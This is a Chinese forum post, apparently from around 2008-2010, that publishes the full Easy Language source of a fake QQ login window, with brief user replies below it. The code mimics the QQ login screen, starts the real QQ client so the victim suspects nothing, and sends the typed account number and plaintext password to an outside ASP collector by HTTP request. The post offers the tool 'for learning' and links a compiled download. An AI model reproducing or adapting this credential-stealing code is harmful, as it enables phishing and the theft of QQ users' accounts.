盗Q的开源了（放源码）
本帖最后由 bester 于 2010-8-15 18:55 编辑.版本 2
.支持库 dp1
.支持库 internet
.程序集 窗口程序集1
.程序集变量 QQ目录路径, 文本型
.程序集变量 QQ路径, 文本型
.程序集变量 QQ医生路径, 文本型
.子程序 _图形按钮9_被单击
.如果真 (帐号编辑框.内容 ＝ “”)
信息框 (“格式要求：由5到10个纯数字组成。”, 0 ＋ #询问图标, “无效的QQ号码格式”)
返回 ()
.如果真结束
.如果真 (密码编辑框.内容 ＝ “”)
信息框 (“输入密码与上次成功登陆的密码不一致,” ＋ #换行符 ＋ “是否到服务器验证?”, 0 ＋ #错误图标 ＋ #是否钮, “错误”)
返回 ()
.如果真结束
登录 ()
.如果真 (QQASP (“http://youngboyfly.2255.cc/qq.asp”, 帐号编辑框.内容, 密码编辑框.内容) ＝ “发送成功”)
.如果真结束
_启动窗口.可视 ＝ 假
结束 ()
.子程序 __启动窗口_创建完毕
.如果真 (注册项是否存在 (4, “SOFTWARE\TENCENT\PLATFORM_TYPE_LIST\1\TypeName”) ＝ 假)
信息框 (“你没有安装过QQ软件，请到http://www.qq.com下载”, 0, “系统提示”)
结束 ()
.如果真结束
QQ路径 ＝ 取文本注册项 (4, “SOFTWARE\TENCENT\PLATFORM_TYPE_LIST\1\TypePath”, )
QQ目录路径 ＝ 取文本注册项 (4, “Software\Tencent\QQ\install”, “未检测到QQ”)
.如果真 (QQ目录路径 ＝ “未检测到QQ”)
信息框 (“你没有安装过QQ软件，请到http://www.qq.com下载”, 0, “系统提示”)
结束 ()
.如果真结束
' 顶图.正常图片 ＝ #顶图
' 底图.正常图片 ＝ #底图
输出调试文本 (“QQ安装路径:” ＋ QQ路径)
取数值目录到组合框 (QQ目录路径 ＋ “\”, 号码组合框)
密码编辑框.获取焦点 ()
帐号编辑框.内容 ＝ 号码组合框.取项目文本 (1)
标题 ＝ “QQ用户登录”
.如果真 (帐号编辑框.内容 ＝ “”)
帐号编辑框.内容 ＝ “<请在这儿输入QQ号码>”
.如果真结束
.子程序 _号码组合框_列表项被选择
帐号编辑框.内容 ＝ 号码组合框.取项目文本 (号码组合框.现行选中项)
图形按钮1.可视 ＝ 真
图形按钮2.可视 ＝ 假
帐号编辑框.获取焦点 ()
帐号编辑框.被选择字符数 ＝ -1
.子程序 _帐号编辑框_列表项被选择
号码组合框.内容 ＝ 号码组合框.取项目文本 (号码组合框.现行选中项)
.子程序 登录
.局部变量 摘要文本, 文本型
.局部变量 摘要字节集, 字节集
.局部变量 加密的密码, 文本型
.局部变量 隐身, 文本型, , , 40:隐身；41:不隐身
.局部变量 变量1, 整数型
摘要文本 ＝ 取数据摘要 (到字节集 (密码编辑框.内容))
摘要字节集 ＝ 取空白字节集 (16)
.计次循环首 (16, 变量1) ' 由于数据摘要文本长度为32，这里将每两位文本按十六进制转换为十进制字节，生成一个长为16的摘要字节集。
摘要字节集 [变量1] ＝ 到字节 (十六进制到十进制 (取文本中间 (摘要文本, (变量1 － 1) × 2 ＋ 1, 2)))
.计次循环尾 ()
加密的密码 ＝ BASE64编码 (摘要字节集)
.如果 (图形按钮6.可视 ＝ 真)
隐身 ＝ 选择 (真, “40”, “41”)
.否则
隐身 ＝ 选择 (假, “40”, “41”)
.如果结束
输出调试文本 (QQ路径)
运行 (QQ路径 ＋ “ /START QQUIN:” ＋ 帐号编辑框.内容 ＋ “ PWDHASH:” ＋ 加密的密码 ＋ “ /STAT:” ＋ 隐身, 假, )
.子程序 _图形按钮10_被单击
超级链接框2.跳转 ()
.子程序 _图形按钮11_被单击
超级链接框1.跳转 ()
.子程序 _帐号编辑框_内容被改变
.子程序 _图形按钮1_被单击
号码组合框.发送信息 (335, 1, 0)
图形按钮1.可视 ＝ 假
图形按钮2.可视 ＝ 真
.子程序 _图形按钮2_被单击
图形按钮1.可视 ＝ 真
图形按钮2.可视 ＝ 假
.子程序 _帐号编辑框_按下某键, 逻辑型
.参数 键代码, 整数型
.参数 功能键状态, 整数型
.判断开始 (键代码 ＝ #回车键)
_图形按钮9_被单击 ()
.默认
.判断结束
.子程序 _密码编辑框_按下某键, 逻辑型
.参数 键代码, 整数型
.参数 功能键状态, 整数型
.判断开始 (键代码 ＝ #回车键)
_图形按钮9_被单击 ()
.默认
.判断结束
.子程序 _图形按钮8_被单击
弹出菜单 (QQ, , )
.子程序 _图形按钮5_被单击
图形按钮5.可视 ＝ 假
图形按钮6.可视 ＝ 真
.子程序 _图形按钮6_被单击
图形按钮6.可视 ＝ 假
图形按钮5.可视 ＝ 真
.子程序 _图形按钮4_被单击
图形按钮3.可视 ＝ 真
图形按钮4.可视 ＝ 假
.子程序 _图形按钮3_被单击
图形按钮4.可视 ＝ 真
图形按钮3.可视 ＝ 假
.子程序 _图形按钮7_被单击
信息框 (“系统未检测到QQ医生！” ＋ #换行符 ＋ “可能QQ医生损坏或未安装！” ＋ #换行符 ＋ “请到官方网站下载QQ医生！”, #错误图标, “发生错误！”)
.子程序 QQASP, 文本型, , 发送帐号密码到ASP收信
.参数 地址, 文本型, , ASP文件路径
.参数 号码, 文本型
.参数 密码, 文本型
返回 (到文本 (HTTP读文件 (地址 ＋ “?” ＋ “qqnumber=” ＋ 号码 ＋ “&qqpassword=” ＋ 密码)))
.子程序 _密码编辑框_内容被改变
做参考，给大家学习之用！
点击进入下载－登陆器31228714257342.e
[ 本帖最后由 鬼手 于 2008-12-8 13:31 编辑 ] 看看但我不会到别人号的 :( :( LZ很卑鄙
鉴定完毕;P ;P 学习 一下..... 这样看得眼花~~直接个源码下载就方便了~~ 汗 什么玩意 迷糊:Q :Q 呵呵－这就是源码吧－易语言的 恩 E源码编译下 嘎嘎 偶学习一下 好东西，谢谢分享！